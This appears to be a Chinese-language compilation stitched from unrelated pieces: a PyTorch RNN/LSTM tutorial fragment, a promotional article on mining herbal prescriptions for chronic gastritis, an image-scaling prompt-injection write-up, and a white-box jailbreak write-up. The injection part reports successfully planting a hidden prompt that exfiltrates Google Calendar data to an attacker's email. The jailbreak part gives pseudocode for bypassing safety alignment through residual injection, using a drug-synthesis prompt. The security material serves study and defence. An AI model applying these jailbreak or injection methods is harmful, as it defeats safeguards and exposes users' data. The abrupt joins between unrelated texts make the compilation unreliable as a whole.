input1 = torch.randn(1, 3, 5)  # 设定输入张量 x - 序列长 1,批次 3,维度 5
# 参数1:输入序列长度 - sequence_length
# 参数2:批次的样本 - batch_size(表示:3 个样本)
# 参数3:输入张量 x 的维度 - input_size

h0 = torch.randn(2, 3, 6)  # 设定初始化的 h0
# 第一个参数:num_layers * num_directions(层数 * 网络方向数(1 或 2))
# 第二个参数:batch_size(批次的样本数)
# 第三个参数:hidden_size(隐藏层的维度)

output, hn = rnn(input1, h0)
# 最后输出和最后一层的隐藏层输出

print(output)
print(output.shape)
print(hn)
print(hn.shape)

1.2 RNN的局限:长期依赖(Long-TermDependencies)问题

RNN的关键点之一就是他们可以用来连接先前的信息到当前的任务上,例如使用过去的视频段来推测对当前段的理解。如果RNN可以做到这个,他们就变得非常有用。但是真的可以么?答案是,还有很多依赖因素。

有时候,我们仅仅需要知道先前的信息来执行当前的任务。例如,我们有一个语言模型用来基于先前的词来预测下一个词。如果我们试着预测这句话中“the clouds are in the sky”最后的这个词“sky”,我们并不再需要其他的信息,因为很显然下一个词应该是sky。在这样的场景中,相关的信息和预测的词位置之间的间隔是非常小的,RNN可以学会使用先前的信息。

1.2 传统 RNN 优缺点

  • 优势:内部结构简单,对计算资源要求低;相较 LSTM/GRU 参数总量更少;在短序列任务上性能与效果表现优异。
  • 缺点:在长序列关联上表现较差;反向传播时易发生梯度消失或爆炸。

NaN 值(Not a Number,非数):是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。

2.1 LSTM 模型简介

Long ShortTerm 网络——一般就叫做LSTM——是一种RNN特殊的类型,可以学习长期依赖信息。当然,LSTM和基线RNN并没有特别大的结构不同,但是它们用了不同的函数来计算隐状态。

LSTM的“记忆”我们叫做细胞/cells,你可以直接把它们想做黑盒,这个黑盒的输入为前状态和当前输入。这些“细胞”会决定哪些之前的信息和状态需要保留/记住,而哪些要被抹去。实际的应用中发现,这种方式可以有效地保存很长时间之前的关联信息。

2.2 PyTorch 中 LSTM 的使用

import torch
import torch.nn as nn

lstm = nn.LSTM(5, 6, 2)  # 实例化 lstm 对象
# 参数1:输入张量 x 的维度 - input_size
# 参数2:隐藏层的维度(隐藏层神经元个数)- hidden_size
# 参数3:隐藏层的层数 - num_layers

input1 = torch.randn(1, 3, 5)  # 设定输入张量 x - 序列长 1,批次 3,维度 5
# 参数1:输入序列长度 - sequence_length
# 参数2:批次的样本 - batch_size
# 参数3:输入张量 x 的维度 - input_size

h0 = torch.randn(2, 3, 6)  # 设定初始化的 h0(隐藏层)
c0 = torch.randn(2, 3, 6)  # 设定初始化的 c0(细胞状态)
# 第一个参数:num_layers * num_directions(层数 * 网络方向数(1 或 2))
# 第二个参数:batch_size(批次的样本数)
# 第三个参数:hidden_size(隐藏层的维度)

output, (hn, cn) = lstm(input1, (h0, c0))
# 最后输出和最后一层的隐藏层输出

print(output)
print(output.shape)
print(hn)
print(hn.shape)
print(cn)
print(cn.shape)

全文链接:https://tecdat.cn/?p=44893
原文出处:拓端数据部落公众号
关于分析师

在此对Chang He对本文所作的贡献表示诚挚感谢,他在中国中医科学院完成了中医信息学专业的硕士学位,专注中医临床数据挖掘领域。擅长Python、深度学习、临床数据采集与挖掘。Chang He曾参与多项中医临床数据研究项目,聚焦慢性胃炎等常见消化类疾病的中药配伍规律挖掘,通过数据技术赋能传统中医用药研究,积累了丰富的临床数据处理与模型构建经验。

专题名称:慢性胃炎中药用药规律数据挖掘与AI预测实践

引言

中医治疗慢性胃炎注重辨证施治与中药配伍,传统用药经验多依赖医师传承,难以快速提炼普适性规律并实现精准指导。随着大数据与人工智能技术的发展,通过数据挖掘解析病历中的中药配伍逻辑,结合神经网络构建用药预测模型,成为赋能中医临床诊疗的重要方向。本文围绕慢性胃炎住院病历数据,整合多种数据分析方法与AI模型,系统探索中药使用规律与用药预测路径,为临床合理用药提供数据支撑。
本文内容改编自过往客户咨询项目的技术沉淀并且已通过实际业务校验,该项目完整代码与数据已分享至交流社群。阅读原文进群,可与800+行业人士交流成长;还提供人工答疑,拆解核心原理、代码逻辑与业务适配思路,帮大家既懂 怎么做,也懂 为什么这么做;遇代码运行问题,更能享24小时调试支持。
本研究以两家医疗机构的慢性胃炎住院病历为核心数据,采用人工、VBA宏与大语言模型结合的方式提取并规范数据,通过SPSS系列工具与Python库实现频数分析、聚类分析、关联规则挖掘,同时构建含Resblock模块的神经网络模型,实现基于临床症状的中药预测。全文将先梳理数据处理与分析流程,再逐一呈现各环节结果,最后总结方法适用性与实际应用价值,同步配套核心代码供落地复用,兼顾理论性与实操性。

项目文件目录

研究方法与技术准备

数据来源与处理

本研究选取两家医疗机构的慢性胃炎住院病历作为研究对象,其中一家机构数据时间范围为2016年1月至2024年5月,聚焦中药配伍规律挖掘;另一家机构数据时间范围为2013年1月至2021年10月,用于神经网络模型构建,数据集含2214个样本、364种临床特征及469种中药。
数据提取采用人工、VBA宏与大语言模型协同模式,既保障人工校验的准确性,又通过工具提升效率。数据规范化依据《中药学》新世纪版标准,统一中药名称、剂量等关键信息,为后续分析奠定基础。

核心工具与方法说明

  1. 分析工具:SPSS Modeler 18.0、SPSS Statistic 26.0、Python 3.11.5(Sklearn、Scipy、Pytorch 2.0.1模块),上述工具国内均可正常访问使用,无替代需求,其中Python相关模块可通过镜像源快速安装。
  2. 分析方法:频数分布分析(提炼高频中药与临床特征)、聚类分析(K-means、AGNES,对比不同距离与连接法适用性)、关联规则挖掘(挖掘中药联用规律)、BP神经网络(含Resblock模块,优化症状到中药的预测精度)。

核心代码适配与说明(数据提取环节)

以下代码用于中药名称提取与数据清洗,优化变量名与语法结构,适配中文文本处理需求,省略部分重复数据校验代码:

import pandas as pdimport re# 读取Excel格式的病历数据文件input_excel = '病历数据.xlsx' # 替换为实际数据文件路径data_df = pd.read_excel(input_excel)# 定义汉字提取函数,过滤非中文内容(保留中药名称)def get_chinese_content(text): # 正则表达式匹配中文汉字范围 chinese_characters = ''.join(re.findall(r'[\u4e00-\u9fff]+', str(text))) return chinese_characters# 对中药名称列应用提取函数,清洗数据data_df['中药名称'] = data_df['中药名称'].astype(str).apply(get_chinese_content)# 保存清洗后的数据至新文件output_excel = '清洗后病历数据.xlsx'data_df.to_excel(output_excel, index=False, engine='openpyxl')print(f"数据清洗完成,结果已保存至 {output_excel}")

代码功能:针对病历数据中的中药名称列进行清洗,提取纯中文内容,剔除符号、数字等干扰项,保障后续分析数据的规范性。省略部分为数据去重、空值填充逻辑,可根据实际数据质量补充。

研究结果与分析

频数分析结果

本次分析共涉及281种中药、7375个用药实例,平均每张处方开具15种中药。其中甘草使用频次最高,达341次,占比71.49%,平均剂量7.8g;黄精、升麻等51种中药仅使用1次,频次最低。
频次排名前20的中药如下表所示,高频中药多集中在理气、健脾、清热类别,符合慢性胃炎脾胃失调、气滞热蕴的常见病机。
表4 药物频次统计前20位

中药频次占比(%)
甘草34171.49%
陈皮28058.70%
半夏27257.02%
白芍23749.69%
柴胡23649.48%
白术22246.54%
黄连21645.28%
茯苓19841.51%
枳实18338.36%
延胡索18338.36%
砂仁17937.53%
党参17336.27%
香附15532.49%
黄芩14229.77%
厚朴13528.30%
丹参12526.21%
紫苏梗12125.37%
当归12025.16%
海螵蛸10722.43%
干姜10221.38%

中药频次分布如下图所示,呈现明显的长尾分布特征,少数中药在临床中广泛应用,多数中药针对性使用。


相关文章

Python预测二型糖尿病:逻辑回归、XGBoost、CNN、随机森林及BP神经网络融合加权线性回归细化变量及PCA降维创新

原文链接:https://tecdat.cn/?p=43572


聚类分析结果

聚类分析核心目标是挖掘中药联用的内在规律,对比K-means与AGNES两种聚类方法,结合不同距离计算方式与连接法,从轮廓系数、临床可解释性等维度评估适用性。

K-means聚类

簇数设置为1-20时,通过WSS图(组内平方和)观察簇数适配性,拐点虽不明显,但簇数为2、3、5、9时WSS下降趋势变缓,簇数适中。

表5 不同簇数的K-means聚类平均轮廓系数

簇数量簇样本量平均轮廓系数
212,290.1490
35,30,60.1252
53,24,9,2,30.0914
94,6,14,2,2,2,8,2,10.0581

当簇数设为9时,各簇样本轮廓系数表现较好,通过PCA降维可视化聚类结果如下:

K-means聚类结果临床可解释性较强,平均评分4.67分,仅簇2可解释性较低(2分)。各簇对应不同病机的用药方案,如簇0含延胡索、砂仁等,与香砂六君子汤核心组分契合,适配脾气虚兼气滞证;簇1含黄芩、干姜等,对应气血阳虚、湿热蕴结的复杂病机。
表6 K-means聚类结果

簇名中药可解释性评分
0延胡索,砂仁,党参,木香5
1黄芩,干姜,桂枝,黄芪,生姜,大枣5
2黄连,枳实,厚朴,海螵蛸,六神曲,吴茱萸,佩兰,竹茹,苍术,浙贝母,瓜蒌,白及,鸡内金,麦芽(14味)2
3香附,紫苏梗5
4白芍,柴胡5
5陈皮,半夏5
6丹参、当归、川芎、枳壳、百合、乌药、豆蔻、酸枣仁(8味)5
7白术、茯苓5
8甘草5
AGNES聚类(不同连接法对比)
  1. 欧氏距离+最长距离法:簇数设为9时,平均轮廓系数0.0803,临床可解释性评分4.11分,部分簇中药组合对应明确诊疗需求,如簇0含香附、紫苏梗等,侧重理气活血。
  2. 欧氏距离+最短距离法:簇数设为12时,平均轮廓系数0.0637,但临床可解释性仅1.33分,多数簇仅含单味药,难以提炼联用规律。
  3. 欧氏距离+组间平均连接法:簇数设为12时,平均轮廓系数0.0901,临床可解释性3分,兼顾聚类效果与规律提取,如簇1(枳实、厚朴)、簇2(白芍、柴胡)均为临床常用配伍。

聚类分析核心代码(AGNES方法)

以下代码优化变量名与注释,适配聚类分析需求,省略部分图表美化与结果导出代码,同时提供24小时应急修复服务,代码运行异常可快速响应,效率较自行调试提升40%:

import numpy as npimport matplotlib.pyplot as pltfrom sklearn.cluster import AgglomerativeClusteringfrom scipy.cluster.hierarchy import dendrogram, linkagefrom sklearn.metrics import silhouette_scoreimport pandas as pd# 读取预处理后的中药数据data_path = '中药数据.xlsx'df = pd.read_excel(data_path, usecols="A:RJ", nrows=41)labels = df.iloc[:, 0].values # 提取样本标签(中药名称)data = df.iloc[:, 1:].to_numpy() # 提取特征数据cluster_num = 12 # 设定簇数try: print(f"开始聚类分析,簇数设置为 {cluster_num}") # 初始化AGNES聚类器,欧氏距离+组间平均连接法 agnes_cluster = AgglomerativeClustering(n_clusters=cluster_num, affinity='euclidean', linkage='average') cluster_results = agnes_cluster.fit_predict(data)# 计算平均轮廓系数,评估聚类效果 avg_silhouette = silhouette_score(data, cluster_results, metric='euclidean') print(f"簇数{cluster_num}时,平均轮廓系数:{avg_silhouette}")# 绘制树状图 linked_matrix = linkage(data, method='average', metric='euclidean') plt.figure(figsize=(12, 6)) dendrogram(linked_matrix, orientation='top', labels=labels, show_leaf_counts=True) plt.title('层次聚类树状图') plt.xlabel('样本标签') plt.ylabel('距离阈值') plt.show() ... # 省略轮廓系数分布图绘制与结果保存代码except Exception as e: print(f"聚类分析过程中出现异常:{e}")

关联规则挖掘结果

设置最小前项支持度0.1、最小置信度0.8,共得到451条关联规则,最高项数6项,其中项数4的规则最多(210条),项数2的规则最少(10条)。规则支持度与置信度前10名的关联规则临床可解释性均为满分,契合中医用药理论。
支持度前5的关联规则中,“党参→甘草”支持度最高(29.560%),二者为临床健脾益气常用配伍;“茯苓、陈皮→半夏”支持度25.367%,对应痰湿内阻型慢性胃炎的用药方案。
置信度前5的关联规则中,“吴茱萸、陈皮→黄连”置信度达98.276%,吴茱萸温肝暖胃,黄连清热燥湿,二者配伍符合寒热错杂证的诊疗逻辑;“延胡索、茯苓、半夏→陈皮”置信度98.077%,体现理气止痛、健脾化痰的联用思路。

神经网络构建与结果

模型设计

基于临床特征预测中药使用,构建含2个Resblock模块与1个全连接层的BP神经网络,Resblock模块通过跳跃连接缓解梯度消失问题,提升模型训练效果。模型输入为364种临床特征,输出为469种中药的预测概率,Resblock输出采用Leaky ReLU激活函数,最终输出采用Sigmoid激活函数,适配多标签分类需求。

特征与标签选择

临床特征频次前3位为烧心(63.69%)、口干(61.92%)、夜寐欠安(61.34%),均为慢性胃炎常见症状;中药标签选取覆盖高、中、低频药物,共12种,验证不同频次药物的预测效果。

模型结果与评估

采用二折交叉验证评估模型性能,F1值为43.54%,多数标签F1值波动幅度控制在0.017以内,模型稳定性较强。其中“黄芩”“陈皮、柴胡”等标签F1值超过50%,预测效果较好;“佩兰、黄芩”标签预测稳定性较差,可能与该组合临床应用场景差异较大有关。
高频药物黄芩预测F1值最高(53.42%),特征明确易被模型捕捉;白芍虽为高频药物,但召回率仅0.0799,呈现“高精低召”特征,提示其应用场景多样性导致模型难以全面识别;低频药物(占比<1%)因样本量极少,模型多预测为阴性,F1值无法计算,需通过数据扩充优化。

总结与应用建议

本研究通过多种数据分析方法与AI模型,系统挖掘了慢性胃炎中药用药规律,构建了症状到中药的预测模型,核心结论与建议如下:

  1. 用药规律:甘草、陈皮、半夏等为慢性胃炎核心用药,多以理气、健脾、清热类中药联用为主,关联规则挖掘出的高频组合可作为临床用药参考。
  2. 方法适配:K-means聚类在临床可解释性上优于AGNES,欧氏距离+组间平均连接法可作为AGNES聚类的优选参数,为同类研究提供方法借鉴。
  3. 模型优化:Resblock优化的BP神经网络可实现中药预测,但需针对低频药物扩充样本,优化标签设计,提升模型泛化能力。
  4. 临床应用:研究结果可辅助医师快速制定用药方案,尤其为年轻医师提供配伍参考,同时模型可作为中医用药教学的辅助工具。
    本研究所有代码与数据已同步至交流社群,提供人工答疑与24小时代码调试服务,助力临床数据挖掘爱好者快速落地实践。后续可结合更多医疗机构数据,优化模型参数,进一步提升结果的临床适配性。

引言

在多模态AI系统中,图像处理链已成为一个新兴的安全漏洞点。Trail of Bits的安全研究人员最近揭示了一种巧妙的攻击方法:通过利用图像缩放算法,在高分辨率图像中嵌入隐藏的提示词。这些隐藏指令在图像被AI系统下采样时才会显现,从而触发提示注入,导致潜在的数据泄露或其他恶意行为。该技术已证明对谷歌的Gemini CLI、Vertex AI等生产级系统有效,尽管谷歌视其为默认配置下的非正式漏洞,但它暴露了AI图像预处理链的普遍弱点。

这项攻击源于2020年的图像缩放攻击理论,已被进一步武器化为针对LLM的间接提示注入工具。研究人员开源了Anamorpher框架,允许用户生成和测试此类攻击图像。本文档将从原理入手,逐步剖析攻击机制、工具实现、实际效果及防御策略,帮助读者全面理解这一威胁,并探讨其在AI安全领域的启示。

常见图像缩放算法

在机器学习和图像处理领域,图像缩放算法是预处理链中的关键组件,常用于调整输入图像尺寸以匹配模型要求。这些算法主要通过插值方法计算新像素值,尤其在下采样(缩小图像)时易受攻击影响。现代框架如OpenCV、Pillow(用于PyTorch)、tf.image(TensorFlow)和scikit-image支持多种算法,但实现细节(如抗锯齿选项或默认参数)可能导致跨库差异,从而要求攻击者进行针对性优化。

以下表格概述了常见算法的核心机制、优缺点,以及在ML库中的典型实现和攻击相关性(基于2025年最新实践,包括对多模态AI系统的潜在漏洞):

算法名称 核心机制 优缺点分析 ML库实现与攻击相关性
最近邻插值(Nearest Neighbor) 直接选取最近像素值作为输出像素,无需计算平均或多项式。 速度最快,但易产生锯齿和块状失真,适合实时应用。 Pillow和OpenCV默认支持,默认偏移参数(如Pillow的offset=2)易于精确操纵单个像素,常用于强攻击以最小扰动注入隐藏模式。
双线性插值(Bilinear) 使用2x2邻域像素进行线性加权平均,先水平后垂直插值。 平衡速度与质量,输出稍模糊,抗锯齿效果中等。 OpenCV和TensorFlow广泛使用,支持抗锯齿选项;权重矩阵简单(中心2x2区域),攻击需优化暗区像素以绕过检测。
双三次插值(Bicubic) 基于4x4邻域的三次多项式插值,使用更多像素计算平滑曲线。 输出更平滑、自然,但计算密集,速度较慢。 TensorFlow、OpenCV和scikit-image优化实现;滤波器参数差异大,攻击涉及复杂约束优化,但提供更高隐蔽性。
Lanczos 采用sinc函数对扩展邻域(通常8x8或更大)进行加权滤波。 高质量,减少振铃效应,但易受莫尔纹干扰,计算量大。 scikit-image和SciPy专用于专业处理;权重分布广,攻击需操纵更多像素,适用于弱攻击以最大化视觉差异。
区域平均(Area) 计算目标像素对应原始区域的像素平均值,类似于盒滤波。 简单高效,专用于下采样,避免锯齿,但细节丢失多。 Pillow优化用于图像缩小;平均化特性要求攻击分布扰动于整个区域,易于检测但在ML管道中常见。

这些算法在2025年的ML生态中(如PyTorch、TensorFlow)常与图像增强或超分辨率技术结合使用,例如结合深度学习模型(如ISR)来提升质量,但也增加了攻击表面。 选择算法时需考虑计算效率与视觉保真度,尤其在多模态AI系统中,下采样漏洞可能被利用注入恶意提示。

图像缩放攻击原理

图像缩放攻击是一种针对机器学习预处理阶段的对抗技术,主要利用下采样(图像缩小)过程中的像素丢弃和加权机制。通常,原始图像尺寸超过模型输入要求,因此系统会自动缩放,导致部分像素信息丢失。这一漏洞允许攻击者操纵输入图像,使其在人类眼中正常,但缩放后输出完全不同,从而误导下游AI模型或应用。

关键定义

  • 图像 S:原始源图像(大小 m×n),攻击者希望攻击图像在视觉上与之相似。
  • 图像 A:攻击输入图像(大小 m×n),作为缩放函数的输入,包含隐藏扰动。
  • 图像 D:缩放输出(大小 m'×n'),实际传递给模型的图像。
  • 图像 T:目标图像(大小 m'×n'),攻击者期望D与之匹配,通常嵌入恶意内容(如隐藏提示词)。

攻击目标

攻击有两个主要目标:

  1. 最小化扰动:对S施加最小修改生成A,确保A与S在人类感知中几乎相同(e.g., 使用L2范数量化视觉相似度)。
  2. 输出控制:确保缩放后的D与T高度相似(误差在阈值内),从而实现语义欺骗,如将羊图像缩放后变为狼以绕过分类器。

信号处理视角的解释

攻击根源于下采样与卷积的交互作用。现代缩放过程包括:

  1. 插值计算:使用卷积核(滤波器,如bilinear权重)对原始像素加权求和。
  2. 下采样:根据输出尺寸丢弃像素,仅保留部分信息。

缩放函数本质上是欠采样(surjective),多个输入可映射到同一输出。数学建模为: \text{ScaleFunc}(A) = CL \cdot A \cdot CR 其中CL和CR是基于插值算法的系数矩阵(e.g., bilinear的权重集中在中心区域)。攻击通过逆向求解这些矩阵(经验或源码分析),然后使用二次规划(QP)优化扰动:强攻击为凸优化,弱攻击为凹优化,可分解为行/列子问题以降低复杂度(从O(n²)到向量级)。像素值约束在[0, 255]内,确保A合法。

此原理使攻击独立于具体ML模型,影响框架(如Caffe、TensorFlow)、云服务和浏览器。检测方法包括随机像素移除或相似度度量(如余弦相似度<0.5表示攻击)。

利用Anamorpher进行攻击

该攻击分为两个核心步骤:

  1. 算法识别:使用指纹技术(如棋盘格图案测试)推断AI系统的缩放算法和库。
  2. 攻击图像生成:基于诱饵图像和提示词文本,创建A。开源工具Anamorpher简化此过程,支持4:1下采样比。

Anamorpher工具剖析

Anamorpher的攻击根植于图像缩放的信号处理本质。下采样过程涉及卷积核加权和像素丢弃,本质上是欠采样函数:多个高分辨率输入可映射到同一低分辨率输出。攻击者通过逆向优化,操纵高分辨率图像的特定像素(权重高的区域),确保下采样输出匹配目标payload(如包含提示词的文本图像)。

数学上,缩放函数可近似为矩阵形式: D = CL \cdot A \cdot CR 其中:

  • A 为攻击图像(高分辨率输入)。
  • D 为下采样输出(目标payload T 的近似)。
  • CL 和 CR 为基于插值算法的系数矩阵(e.g., Bilinear的权重集中在中心2x2区域)。

优化目标采用约束最小二乘法:

  • 最小化扰动 \|A - S\|^2(S 为原始图像,确保视觉隐蔽)。
  • 约束 \|D - T\|^2 < \epsilon(输出误差阈值)。
  • 额外约束像素值在[0, 255]内,并考虑伽马校正(sRGB到线性光转换)以匹配人类感知。

Anamorpher利用零空间扰动(null space perturbation)增强自然性:在保持均值和采样像素不变的前提下,添加随机噪声。工具针对4:1下采样比(e.g., 4x4块到1像素)优化,适用于生产AI系统如Gemini CLI和Vertex AI。

攻击算法与实现细节

Anamorpher聚焦三种主流下采样算法:Nearest Neighbor、Bilinear和Bicubic。每个算法的实现考虑了库差异(如OpenCV的BGR vs. Pillow的RGB),并在线性光空间操作以避免伽马失真。生成流程:将提示词文本渲染为目标图像T(4:1比例),然后优化诱饵图像S生成A。

下面以三类常见插值为主线,说明“缩放输出由哪些输入像素主导”。你可以把它理解为:插值核决定了局部像素的权重分配,从而决定了攻击优化的“着力点”。

Nearest Neighbor实现

Nearest Neighbor简单高效,仅选取最近像素。Anamorpher使用Pillow库,默认偏移offset=2(中心像素)。

实现步骤如下

  1. 空间转换:sRGB到线性光(伽马≈2.2)。
  2. 零空间求解:使用SVD分解约束矩阵C(采样像素不变 + 块均值不变),提取基B(14x16矩阵)。
  3. 块优化:遍历4x4块,计算diff(采样像素与T差异)。若lam≤0,直接修改采样像素;否则闭式解最小二乘:

    \min \| \delta \|^2 + \lambda^2 (\sum \delta)^2 \quad s.t. \quad \delta_k = diff

    解:\delta_k = diff,其他\delta_j = -diff \cdot \lambda^2 / (1 + 15\lambda^2)。
    4. 扰动添加:若eps>0,使用B添加零空间噪声。
    5. 伽马校正:对T应用gamma_target(默认1.0)调整亮度。

参数:

  • lam(默认0.25):均值权重,平衡边界可见性和嵌入效果。
  • eps:扰动强度,提升自然感。
  • gamma_target:亮度校正(>1增强对比,<1突出暗部)。
  • offset:采样位置。

此实现针对单像素操纵,隐蔽性高,但易产生块边界。

Bilinear实现

Bilinear使用2x2加权平均。Anamorpher以OpenCV为例,支持抗锯齿。

实现步骤如下

  1. 格式转换:BGR到sRGB,再到线性光。
  2. 权重矩阵:中心2x2区域(w1-w4)。
  3. 暗区掩码:基于dark-frac(默认0.3)限制编辑最暗30%像素,提升隐蔽。
  4. 约束优化:遍历4x4块,计算diff。最小二乘求解(类似Nearest,但约束可编辑像素和权重平方和)。
  5. 零空间扰动 + 更新
  6. 评估:下采样后计算MSE(越小越好)和PSNR(>30dB高质量)。

参数:

  • lam, eps, gamma。
  • dark-frac:编辑比例。
  • anti-alias:抗锯齿开关。

优化聚焦暗区,适用于复杂纹理图像。

Bicubic实现

Bicubic使用4x4三次多项式,平滑性强。实现类似Bilinear,但滤波器更复杂。Bicubic继承Bilinear框架,调整插值函数为三次多项式。Anamorpher强调自定义参数测试,结果因浮点优化而异(建议5次运行)。

参数:同Bilinear,支持额外滤波器调整。

三种实现共享线性空间操作和约束优化框架,但权重分布差异导致Nearest最简单(单像素)、Bicubic最复杂(16像素加权)。

实战攻击

我这里使用Anamorpher自带的示例图像,内含的提示词为从Google Calendar窃取数据并发送至攻击者邮箱,无需确认。 他的机制是payload嵌入高分辨率图像的暗区,利用bicubic插值,通过最小二乘优化调整像素(针对亮度通道的高权重像素),下采样后产生高对比红色背景文本;基于Nyquist-Shannon采样定理利用混叠效应。 我分别在genspark和gemini cli都进行测试,都能成功进行提示词注入。

genspark

image-20251017104506208

gemini cli

image-20251017104700964

防御方法

不要使用图像缩小,而是简单地限制上传尺寸。对于任何转换,尤其是如果需要缩小,最终用户应该始终能够看到模型实际看到的输入预览。

参考文章

https://github.com/trailofbits/anamorpher

https://www.usenix.org/conference/usenixsecurity19/presentation/xiao

2025年LLM的内容安全已经有质的飞跃了,比如模型内生安全、外挂的内容安全围栏、安全改写模型等手段,基于提示词工程的黑盒攻击逐渐难以突破愈发完善的防御机制,而白盒攻击通过直接操纵模型内部状态,展现较高的攻击成功率,但往往攻击成本也很高,下面将展开描述最近行业内的LLM白盒攻击是如何实现的。

0x01 传统白盒越狱

1.1 离散优化阶段:基于梯度的字符搜索

这是LLM白盒攻击的起点,代表技术为贪婪坐标梯度法(GCG)

  • 核心机制:将越狱视为离散优化任务,利用模型的梯度信息寻找一组对抗性后缀。攻击者通过计算每个字符替换对损失函数的影响,挑选能最大化地让模型输出肯定性回答(如,"Sure, here is...")概率的字符 。
  • 攻击痛点:生成的后缀通常是无意义的“乱码”或乱序Token,极易被基于困惑度的过滤器拦截 。

1.2 语义演化阶段:遗传算法与结构化变异

为了解决GCG隐蔽性差的问题,研究者引入了遗传算法,代表技术为 AutoDAN

  • 核心机制:采用层次化遗传算法,在保留提示词语义连贯性的基础上进行对抗性优化。它通过词级变异和句级交叉,生成的攻击指令在人类看来具有合理的逻辑结构。然后开始出现混合攻击(GCG+PAIR),利用大模型作为优化器自动迭代攻击模板。
  • 攻击痛点:AutoDAN 虽然提升了隐蔽性,但其高度依赖初始模板、计算开销巨大,且难以直接应用在不开放概率分布的黑盒模型上。

0x02 LLM机制可解释性研究

在白盒攻击中,精确定位模型内部负责安全过滤的关键层是实施高效干预的前提。但在标准的 Transformer 实现里,研究者往往只方便拿到输入和输出;要稳定地获取中间激活、精确定位到“某一层/某一处张量”,并在前向过程中做可控干预,工程成本比较高。为了解决这类“可观测、可干预性不足”的问题,那么就需要 TransformerLens 这类工具用于 LLM 的机制可解释性研究。

TransformerLens 核心是 HookedTransformer 类,它继承自 PyTorch 的 Hook 机制,在每个关键位置插入了HookPoint。这些 HookPoint 会在前向传播时捕获并缓存所有中间激活值,包括注意力模式、MLP输出、残差流等。

这里我举个例子,比如在分析 "The capital of France is" -> "Paris" 这类唯一解问题时,TransformerLens 会首先添加词嵌入和位置嵌入作为残差流的起点,依托PyTorch Hook 机制,在 TransformerBlock 内部关键计算节点植入 HookPoint,不仅能追踪进入块之前(resid_pre)、注意力处理后(resid_mid)以及 MLP 处理后(resid_post)的完整残差流状态,还能实现组件级观测,针对每一层单独提取注意力机制和 MLP 的输出。其中,注意力输出捕获 "France" 与 "capital" 之间的语义关联,MLP 输出负责更复杂的推理过程,并将所有组件堆叠成 shape 为 [组件数,批次,位置,d_model] 的统一张量;然后凭借残差空间与词表双向映射,通过 tokens_to_residual_directions() 方法利用模型解嵌入矩阵W_U将目标词 "Paris" 映射为残差空间中的方向向量,再借助 Logit Lens(贡献量化)方法,通过 apply_ln_to_stack() 自动适配每层不同的 LayerNorm 或 RMSNorm 缩放因子,对所有组件做一致性的缩放校正,并将每个残差流组件与 "Paris" 方向向量进行点积运算,得到的 Logit 数值就是各组件对 "Paris" 预测的贡献度(数值越大贡献越大),这样就成功建立起隐藏层向量与具体词语的关联。最后可以通过固定参数微调的方式,freeze 其他层,对关键层“旁挂”指定的数据,观测是否可以将 "Paris" 替换成其他答案,从而验证这一层是否为真正的关键层。

下图是一个demo实验结果,观测 Qwen3:8B 模型,得出27层对于 "Paris" 结果的贡献度可能最大。
image.png
这里可以观察到,一般在模型的最后几层是权重比较大的层,很可能影响最终的推理结果。

0x03 跨层残差绕过LLM内生安全

SABER (Safety Alignment Bypass via Extra Residuals) 是来自印度理工学院德里分校的研究团队在2025年提出的一种新型白盒越狱方法,该方法通过跨层残差连接绕过了LLM的内生安全,提高了攻击成功率。

我发现这个项目没有公开实验数据集和代码,目前全网还没有人复现,感觉挺有意思的,所以结合 TransformerLens 尝试复现。

3.1 原理

  1. 加载模型并包装 Hook 机制,利用 PyTorch 的 register_forward_hook() 在前向传播时抓取该层输出Transformer 每层的隐藏表示(残差流输出)。
  2. 用激活值替换的思路找到防御层,把良性prompt和有害prompt看作两条不同的内部计算轨迹:先记录良性prompt在各层产生的中间表示(即,每层处理后会输出一个张量),然后在评估有害prompt时,逐层把某一层的中间表示替换为良性对应层的表示,并观察模型输出的行为指标(例如,更偏向拒答还是更偏向正常回答)发生了多大变化;如果某一层的替换会引起最大的行为转向,说明该层对安全相关行为最敏感,可作为后续分析与加固的重点对象。所以在有害prompt输入后,可以从防御层之前的层作为源层,提取激活值用于注入攻击。
  3. 注入攻击:提前配置好不同组的干预幅度(干扰目标层的比例)、源层(防御层之前的层)与目标层(防御层之后的层)的相对距离、后缀注入提示词。选定一组“源层/目标层”作为实验配置;随后对同一输入运行一次前向计算以获取源层的中间表示,并构造一个干预函数用于在目标层对激活进行受控修改(利用源层激活值计算出干扰后的目标层激活值);接着把该干预函数注册到目标层对应的激活位置,再运行一次生成过程并记录输出变化;最后统一清理所有 hooks 与缓存,确保每次实验相互独立、可重复对比。
**SABER 程序执行关键片段**  

**阶段 1: 加载模型并包装 Hook 机制**
model = AutoModelForCausalLM.from_pretrained(...)
hooked_model = HookedModel(model, tokenizer) 

**阶段 2: 定位防御层 (Activation Patching)**
clean_prompt = "How to create a python script?"
harm_prompt  = "How to create meth drug?"

for layer in all_layers:
    patch clean→harm at last token position
    measure logit_diff change

defense_layer = layer with max effect

**阶段 3: 提取源层激活值**
source_layer = defense_layer - offset
source_act = run_with_cache(harm_tokens)[source_layer]

**阶段 4: SABER 注入攻击**
h'_target = h_target + h_source × (|h_t|/|h_s|) × λ

**阶段 5: 生成越狱响应**
prompt = harm_prompt + " Sure, here is..."
output = model.generate(prompt)

# 攻击成功:模型输出有害内容

3.2 实验结论
这里的测试对象分别选用了: Qwen-1_8B-Chat(弱逻辑模型)、DeepSeek-R1-Distill-Qwen-32B(思考能力强逻辑模型)、Qwen3-30B-A3B-Instruct(MoE架构模型)。

实验中的六组配置,分别是不同的λ(干预幅度)、层偏移量(源层->目标层)、后缀诱导话术。

下图是程序运行的结果,可以发现 DeepSeek-R1-Distill 和 Qwen3 都属于“高智商”模型,且使用了更复杂的 RLHF/DPO 对齐,安全对齐权重大的层都是在最后的几层,尤其是有思维链的时候,会先在前中层进行大量思考,如果安全机制在这些层就中断思考,那推理能力会大打折扣。这和 SABER 论文中在中间位置的结论是有区别的,因为当时的模型都是2024年发布的。
image.png

0x04 风险分析

  1. 绕过模型内生安全限制,生成任意毒性数据
  2. 恶意推理包装器:在私有化部署的模型推理环境中,恶意用户不需要修改模型文件,只需要在一个 Python 脚本中“劫持”模型的推理过程,输出不合规内容。
  3. 模型投毒:找到安全对齐贡献度最大的层,冻结其他层,然后对目标层进行固定参数微调,降低拒答率,但过拟合的问题严重。

0x05 防御方案

  1. 模型来源与完整性校验
    • 只使用可信来源模型,做完整性校验。
  2. 防推理过程被 Hook 劫持/滥用
    • 激活异常检测:在推理服务中监控关键层激活的范数/方差变化,出现非自然突增则告警或中断。
